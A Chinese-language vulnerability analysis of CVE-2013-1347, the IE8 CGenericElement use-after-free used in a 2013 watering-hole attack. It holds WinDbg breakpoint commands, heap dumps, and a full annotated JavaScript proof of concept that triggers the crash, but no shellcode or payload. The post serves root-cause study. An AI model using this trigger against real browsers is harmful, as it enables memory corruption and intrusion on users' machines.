CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

时间:2023-12-05 20:02:14

0x01 2013 年 “水坑” APT 攻击事件

  • 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访问网站的用户受到攻击,微软也发布紧急公告。从水坑攻击的过程来看,入侵者先是攻克了这些网站的服务器,之后把能触发 CVE-2013-1347 漏洞的恶意脚本代码添加到网站加载页面,当受害者使用 IE8 浏览器访问美国劳工部网站时就会在本地加载 mshtml.dll 和 jscript.dll 两个动态链接库来解析,从而触发恶意脚本,这个和蠕虫病毒有类似的地方。提起 APT(全球高级持续性威胁) 大家都不陌生,直到现在 “水坑” 攻击依然是较为流行的 APT 攻击方式

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 分析环境:Windows 7 + IE8 + POC(提取码:04em)

0x02 根据样本分析漏洞成因

  • 下面就是能够触发异常的 POC 脚本,来看看这个使用 JavaScript 编写的脚本到底干了些什么:第一步按顺序创建了 3 个 span 元素并且将它们添加到 body 元素的尾部,第二步在 f1 和 f2 的尾部分别创建并添加 datalist 和 table 元素,第三步将 f0 的 offsetParent 属性设置为 null,最后一步将 f1 和 f2 的 innerHTML 属性变为空并且创建了一个 hr 元素添加到 f0 的尾部。在后面的调试中可以知道在做完这些步骤并使用 CollectGarbage 进行垃圾回收后,JS 脚本中的 HTML 元素会被重新被渲染,导致触发异常

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

注:POC 脚本当中部分已标注原因,比如 require 表示这一步是必须的,少了就不会触发异常

  • 使用 Windbg 加载 IE 浏览器后拖入 POC 脚本,会触发以下异常,从细节可以看出 ecx 地址的值是不存在的。注意 Windbg 需要 .childdbg 1 来开启多线程调试,因为 IE 浏览器在处理 JS 脚本时会创建一个新的线程来处理

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 通过查询 ecx 所指向地址的数据发现已经被清空释放了

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 而 ecx 所指向地址的堆也是处于释放状态,根据 UAF 漏洞的原理,可以看出这个堆空间是释放过后又被重新引用了,故触发了异常

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 那么这个堆空间可能与什么有关呢,查询栈中的信息可以看出与两个类的关系十分明显,一个是 CTreeNode 还有一个是 CBlockContainerBlock,所以极有可能是当中的某个对象出了问题

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

0x03 逆向分析 IE 中的 JS 引擎

  • 为什么需要逆向分析 IE 中的 JS 引擎呢,因为针对 UAF 漏洞需要知道每个对象的具体操作内存的细节,而 mshtml.dll 和 jscript.dll 两个动态链接库恰好给予这样的条件让我们去分析
  • 首先对 document.createElement(‘span’); 这条语句进行分析,查阅相关资料经过调试后发现该语句实际上由 CDocument::createElement 类函数执行

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 使用 IDA 反汇编 mshtml.dll 动态链接库,可以看到 CDocument::createElement 函数的具体细节,在此函数中会调用 CDocument::CreateElementHelper 函数进行进一步处理。值得注意的是 ecx 当中保存着 CDocument 对象的 this 指针,这时调用 CDocument 类中的函数的必要步骤

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 而 CDocument::CreateElementHelper 函数又会调用 CMarkup::CreateElement 函数处理

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • CMarkup::CreateElement 内部再继续调用 CreateElement 函数进行进一步处理

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 最后 call eax 会根据所创建的对象调用不同的函数,比如创建一个 Span 对象会调用 CSpanElement::CreateElement 函数,创建一个 body 对象则会调用 CBodyElement::CreateElement 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 假设创建的是 Span 元素,那么继续分析 CSpanElement::CreateElement 函数,通过 IDA 的符号表可以很容易的排序并找到 CSpanElement::CreateElement 函数的位置

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • CSpanElement::CreateElement 函数如下图所示:首先会通过 HeapAlloc 函数申请 0x28 大小的堆空间,申请完堆空间后调用 CElement::CElement 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • CElement::CElement 函数的作用是将创建的对象放入刚刚申请的堆空间,eax 就是申请的堆空间地址,这里要注意的是虽然每个元素创建时调用的函数不同,比如 Span 是调用 CSpanElement::CreateElement 函数,但是却都会经过 CElement::CElement 这个函数(除了 body 等元素外)

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 以 Span 元素为例子可以得出创建该元素的调用过程:CDocument::createElement -> CDocument::createElementHelper -> CMarkup::CreateElement -> CreateElement -> CSpanElement::CreateElement -> CElement::CElement
  • 逆向完了元素的创建过程,下面再逆向元素的插入过程 appendChild,同样的利用符号表查询插入函数,经过调试后发现 CElement::appendChild 执行了插入元素的操作

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 以同样的方式利用 IDA 反汇编 mshtml.dll,查询 CElement::appendChild,发现其调用 CElement::InsertBefore 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 而 CElement::InsertBefore 函数又会调用 CElement::InsertBeforeHelper 函数进行处理

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 在 CElement::InsertBeforeHelper 函数中首先会使用 CElement::GetDOMInsertPosition 函数获取被插入的节点,以 span 元素为例,body 就是将要被插入的节点

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 之后再调用 CDoc::InsertElement 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 在 CDoc::InsertElement 函数中又会调用 CMarkup::InsertElementInternal 函数做进一步的处理

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 最后看一下 CMarkup::InsertElementInternal 函数,在 0x74d40ce5 的地方申请了 0x4c 大小的堆空间,申请的堆空间首地址会存放在 eax 当中,在由 ecx 传入 CTreeNode::CTreeNode 函数中,结合 C++ 类的反汇编可以分析出这里是动态申请了 CTreeNode 对象并且调用了类对象中的 CTreeNode 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 所以以 span 元素的插入为例,函数调用过程如下:CElement::appendChild -> CElement::InsertBefore -> CElement::InsertBeforeHelper -> CDoc::InsertElement -> CMarkup::InsertElementInternal -> CTreeNode::CTreeNode
  • 由于上面已经分析了元素的创建和插入过程,所以下面对 CTreeNode 对象的地址和 CElement 对象的地址下记录断点,注意 CElement::CElement 会断下两处地址,需要结合前面的分析选择正确的 CElement::CElement 函数

    (1) bu mshtml!CMarkup::InsertElementInternal+0x1de ".echo '=== CTreeNode ==='; dd eax l1; dps poi(eax) l1;gc" (2) bu mshtml!CElement::CElement + 0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc" (3) bu mshtml!CreateElement+0x41 "ln eax;gc"(这里会断下两个地址,本人计算机是下面这个) (4) bp 74d64bb0+37 "ln eax;gc"

注:第一个断点打印出 CTreeNode 对象的地址,第二个断点打印出 CElement 对象的地址,第三个断点打印出创建的对象是哪一个对象

  • 打印出的信息如下所示:
    mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c574fd8 74c254b0 00000001 00000008 00000000
0c574fe8 00000000 00000000 00000000 00000000
0c574ff8 00000000 00000000
'=== CTreeNode ==='
0c852fb0 0c574fd8
0c574fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0bf6afd8 74c254b0 00000001 00000008 00000000
0bf6afe8 00000000 00000000 00000000 00000000
0bf6aff8 00000000 00000000
'=== CTreeNode ==='
0c63efb0 0bf6afd8
0bf6afd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c50efd8 74c254b0 00000001 00000008 00000000
0c50efe8 00000000 00000000 00000000 00000000
0c50eff8 00000000 00000000
'=== CTreeNode ==='
0c644fb0 0c50efd8
0c50efd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234) mshtml!CGenericElement::CreateElement | (74c4c279) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0a242fc8 74c254b0 00000001 00000008 00000000
0a242fd8 00000000 00000000 00000000 00000000
0a242fe8 00000000 00000000
'=== CTreeNode ==='
0be8cfb0 0a242fc8
0a242fc8 74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7) mshtml!CTable::CreateElement | (74d1cee8) mshtml!CTable::CTable
Exact matches:
mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
09d88fb8 74c254b0 00000001 00000008 00000000
09d88fc8 00000000 00000000 00000000 00000000
09d88fd8 00000000 00000000
'=== CTreeNode ==='
0be92fb0 09d88fb8
09d88fb8 74c263c8 mshtml!CTable::`vftable'
(74cccbf0) mshtml!CHRElement::CreateElement | (74cccc44) mshtml!CLSID_HTMLSelectElement
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0cdeffd8 74c254b0 00000001 00000008 00000000
0cdeffe8 00000000 00000000 00000000 00000000
0cdefff8 00000000 00000000
'=== CTreeNode ==='
0c7f2fb0 0cdeffd8
0cdeffd8 74c29160 mshtml!CHRElement::`vftable'
(21c.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0be8cfb0 ecx=0a242fc8 edx=00000000 esi=086ff3e8 edi=00000000
eip=74ddc400 esp=086ff3bc ebp=086ff3d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01 mov eax,dword ptr [ecx] ds:002b:0a242fc8=????????
  • 最后触发异常访问的确实是一个对象的地址,那么到底是哪一个对象呢,往上寻找就可以发现原来是 datalist 元素(CGenericElement)的 CTreeNode 对象,这个对象就是引发释放重引用的元凶

注:在进行记录断点时,最好先使用 sxe ld:mshtml 断下 mshtml 这个模块,之后再下记录断点

  • 找到了出问题的元素后,继续对 f0.offsetParent=null 语句做逆向分析,看看这条语句会对 datalist 对象干些什么。查询符号表后发现 CElement::get_offserParent 这个函数最有可能执行 f0.offsetParent = null 这条语句,在之后的调试中也证明了这一点

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 使用 IDA 分析 CElement::get_offserParent 函数,发现其会调用 CElement::GetOffserParentHelper 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 为了弄清楚 CElement::GetOffserParentHelper 到底对 datalist(CGenericElement )元素的 CTreeNode 这个对象做了哪些操作,所以在该函数头部和尾部下断点,对比分析 CTreeNode 的内存情况

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 结合上面的断点,一共是下了 5 个记录断点:

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 再次运行后,断在了 CElement::GetOffserParentHelper 函数的开头处,结合打印出的数据查看此时 datalist 元素的 CTreeNode 对象

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 之后在 CElement::GetOffserParentHelper 函数的结尾处断下,依照同样的方法查看 datalist 元素的 CTreeNode 对象,对比后发现差别较为明显的是 CTreeNode 对象 +8 和 +C 处的两个数据,这两个数据在一开始均处于未初始化状态,所以为 fff…,执行完 CElement::GetOffserParentHelper 函数之后才被赋值,之后结合旧的 IE 源码发现 CTreeNode 对象 +C 是定义 CharFormat 的整数值,如果该整数值小于 0 就不会重新渲染 HTML 元素,而 CElement::GetOffserParentHelper 将值变为了 2 导致还会对 HTML 做渲染

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 重新下断点在调试一遍

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 打印结果如下图所示:
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0c446fd8 74c254b0 00000001 00000008 00000000
0c446fe8 00000000 00000000 00000000 00000000
0c446ff8 00000000 00000000
'=== CTreeNode ==='
0bfd0fb0 0c446fd8
0c446fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0a434fd8 74c254b0 00000001 00000008 00000000
0a434fe8 00000000 00000000 00000000 00000000
0a434ff8 00000000 00000000
'=== CTreeNode ==='
0a328fb0 0a434fd8
0a434fd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74d1b07a) mshtml!CSpanElement::CreateElement | (74d1b0c8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
0d1acfd8 74c254b0 00000001 00000008 00000000
0d1acfe8 00000000 00000000 00000000 00000000
0d1acff8 00000000 00000000
'=== CTreeNode ==='
0a35cfb0 0d1acfd8
0d1acfd8 74d1b0c8 mshtml!CSpanElement::`vftable'
(74c4c234) mshtml!CGenericElement::CreateElement | (74c4c279) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
0be15fc8 74c254b0 00000001 00000008 00000000
0be15fd8 00000000 00000000 00000000 00000000
0be15fe8 00000000 00000000
'=== CTreeNode ==='
0a3fbfb0 0be15fc8
0be15fc8 74c4c2e8 mshtml!CGenericElement::`vftable'
(74d1cea7) mshtml!CTable::CreateElement | (74d1cee8) mshtml!CTable::CTable
Exact matches:
mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
0c50efb8 74c254b0 00000001 00000008 00000000
0c50efc8 00000000 00000000 00000000 00000000
0c50efd8 00000000 00000000
'=== CTreeNode ==='
0a302fb0 0c50efb8
0c50efb8 74c263c8 mshtml!CTable::`vftable'
(74cccbf0) mshtml!CHRElement::CreateElement | (74cccc44) mshtml!CLSID_HTMLSelectElement
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
0bc82fd8 74c254b0 00000001 00000008 00000000
0bc82fe8 00000000 00000000 00000000 00000000
0bc82ff8 00000000 00000000
'=== CTreeNode ==='
0a485fb0 0bc82fd8
0bc82fd8 74c29160 mshtml!CHRElement::`vftable'
(1290.41c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75155100 ebx=0a3fbfb0 ecx=0be15fc8 edx=00000000 esi=0868f3e8 edi=00000000
eip=74ddc400 esp=0868f3bc ebp=0868f3d4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
mshtml!CElement::Doc:
74ddc400 8b01 mov eax,dword ptr [ecx] ds:002b:0be15fc8=????????
  • 使用 !heap -p -a 命令查询 datalist 元素对象地址和 datalist 元素所对应的 CTreeNode 对象的地址,发现 datalist 的 CTreeNode 对象并没有被释放而 datalist 的对象则已经被释放了,而 CTreeNode 的头 4 个字节却依然指向已释放的 datalist 对象,这也是释放后所引用导致异常的对象

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 如果是去掉了 f0.offsetParent=null; 这条语句,对比之后可以发现 datalist 元素对象和 datalist 元素的 CTreeNode 对象都会被释放

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

0x04 追根溯源,分析漏洞本质

  • 从上面的一系列的分析中可以得出,datalist 元素的 CTreeNode 对象会因为 f0.offsetParent=null; 这条语句误认为被渲染过,所以导致 CTreeNode 对象并不会被释放,而 CTreeNode 对象却依然指向已被释放的 datalist 元素对象,那么为什么会导致 CTreeNode 对象没有被释放呢?我们重新看一下漏洞触发点的栈结构:

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • ebx 中储存着 datalist 元素的 CTreeNode 对象 0aabefc8,从上面的栈回溯可以看出最早使用 0d332fb0 的函数是 ISpanQualifier::GetFancyFormat

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 使用 IDA 分析这个函数,而 datalist 元素的 CTreeNode 对象就是通过 eax 传入的

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 通过栈回溯的信息发现 SRunPointer::HasInlineMbp 函数会调用 SLayoutRun::HasInlineMbp 函数,而在这之前会调用 SRunPointer::SpanQualifier 函数

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 这个就是 SRunPointer::SpanQualifier 函数的内部,对这个函数下断点看看对 eax 做了哪些操作

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 在 SRunPointer::SpanQualifier 函数断下,使用 t 命令进入这个函数并继续向下调试,发现此时 eax = eax + 4

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 在函数的最后 eax = eax + c,之后函数返回,查询 eax 对象的虚表指针发现是 span,这里只是以 span 为例子,datalist 元素对象创建之后这里的对象就会是 datalist,所以推导出 eax = [eax + 4] + c

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 那么 eax + 4 的地址是什么呢,为了方便推导,所以将脚本改成了如下所示:
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
Math.atan2(1, "[*] Create f0(span)...");
// 创建 span 元素 f0,并且添加到 body 的尾端
f0=document.createElement('span');
document.body.appendChild(f0); Math.atan2(1, "[*] Create f1(span)...");
// 创建 span 元素 f1,并且添加到 body 的尾端
f1=document.createElement('span');
document.body.appendChild(f1); Math.atan2(1, "[*] Create f2(span)...");
// 创建 span 元素 f2,并且添加到 body 的尾端
f2=document.createElement('span');
document.body.appendChild(f2); Math.atan2(1, "[*] f2 appendChild datalist...");
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list Math.atan2(1, "[*] f1 appendChild table...");
f1.appendChild(document.createElement('table')); //has to be a table try{
Math.atan2(1, "[*] Set f0 offsetParent NULL...");
f0.offsetParent=null; //required
}catch(e){ } Math.atan2(1, "[*] Set f2 innerHTML NULL...");
f2.innerHTML=""; //required // 改变 DOM 树进行重绘
Math.atan2(1, "[*] Set f0 innerHTML hr...");
f0.appendChild(document.createElement('hr')); //required Math.atan2(1, "[*] Set f1 innerHTML NULL...");
f1.innerHTML=""; //required Math.atan2(1, "[*] Collect Garbage...");
CollectGarbage();
Math.atan2(1, "[*] End !!!"); // 代码执行后会引用 datalist 这个对象
</script>
</body>
</html>
  • 并且在下 bu jscript!JsAtan2 “.printf “%mu”, poi(poi(poi(esp+14)+8)+8); .echo” 断点,结合上面的断点一共是 5 个断点

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 打印信息如下所示:最后一次 eax+4 指向的地址是 0a443fd0
  • 查询 0a443fd0 的内存数据,发现 0a443fd0 + c,也就是 [eax + 4] + c 的地址正好是漏洞异常处 ebx 中的值,ebx 指向的就是 datalist 元素的 CTreeNode 对象

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 通过对 eax + 4 的地址进行栈回溯,查阅相关资料后发现 eax + 4 地址的数据结构是在构造 CTextBlock 时生成的,并且 CTextBlock + 0x58 保存着 eax + 4 地址的数据结构

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 那么这个 eax + 4 的数据结构是干啥用的呢,原来这个数据结构是用来储存 span 和 datalist 元素的嵌套关系的(<span><datalist></datalist></span>),如下图所示,0bd6afb0 是 span 元素的对象,而 0c227fb0 表示 datalist 元素的 CTreeNode 对象

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 之后将 f0.offsetParent=null; 语句注释掉后,下如下断点

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 发现并没有异常,而是顺利的运行了脚本,运行一段时间之后通过点击 Windbg 的 Debug -> break 按钮暂停调试

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
  • 向上找到 datalist 元素的 CTreeNode 对象地址为 0x0d01afb0,并且向下寻找这个对象地址,发现并没有找到,所以之前的 eax + 4 地址的内存数据结构并没有记录 datalist 元素的 CTreeNode 对象地址,也就是没有储存 span 元素和 datalist 元素的嵌套关系,所以这也是漏洞形成的根本原因

    CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞

0x05 总结

  • 分析了这么多发现其实 CVE-2013-1347 漏洞的根本原因在于设置 f0.offsetParent=null; 后导致 datalist 元素误认为被渲染过,所以导致 eax + 4 地址中的数据结构依然储存着 span 和 datalist 元素 CTreeNode 对象的嵌套关系,导致 CTreeNode 所在的堆空间并没有被释放掉,而 CTreeNode 保存着已释放的 datalist 对象的堆空间首地址,在垃圾回收之后,浏览器重新渲染元素导致被释放的 datalist 对象再一次被引用到,从而触发了漏洞

CVE-2013-1347 的分析到此结束,如有错误,欢迎指正(天哪终于分析完了)

参考资料:0day安全:软件漏洞分析技术 + 漏洞战争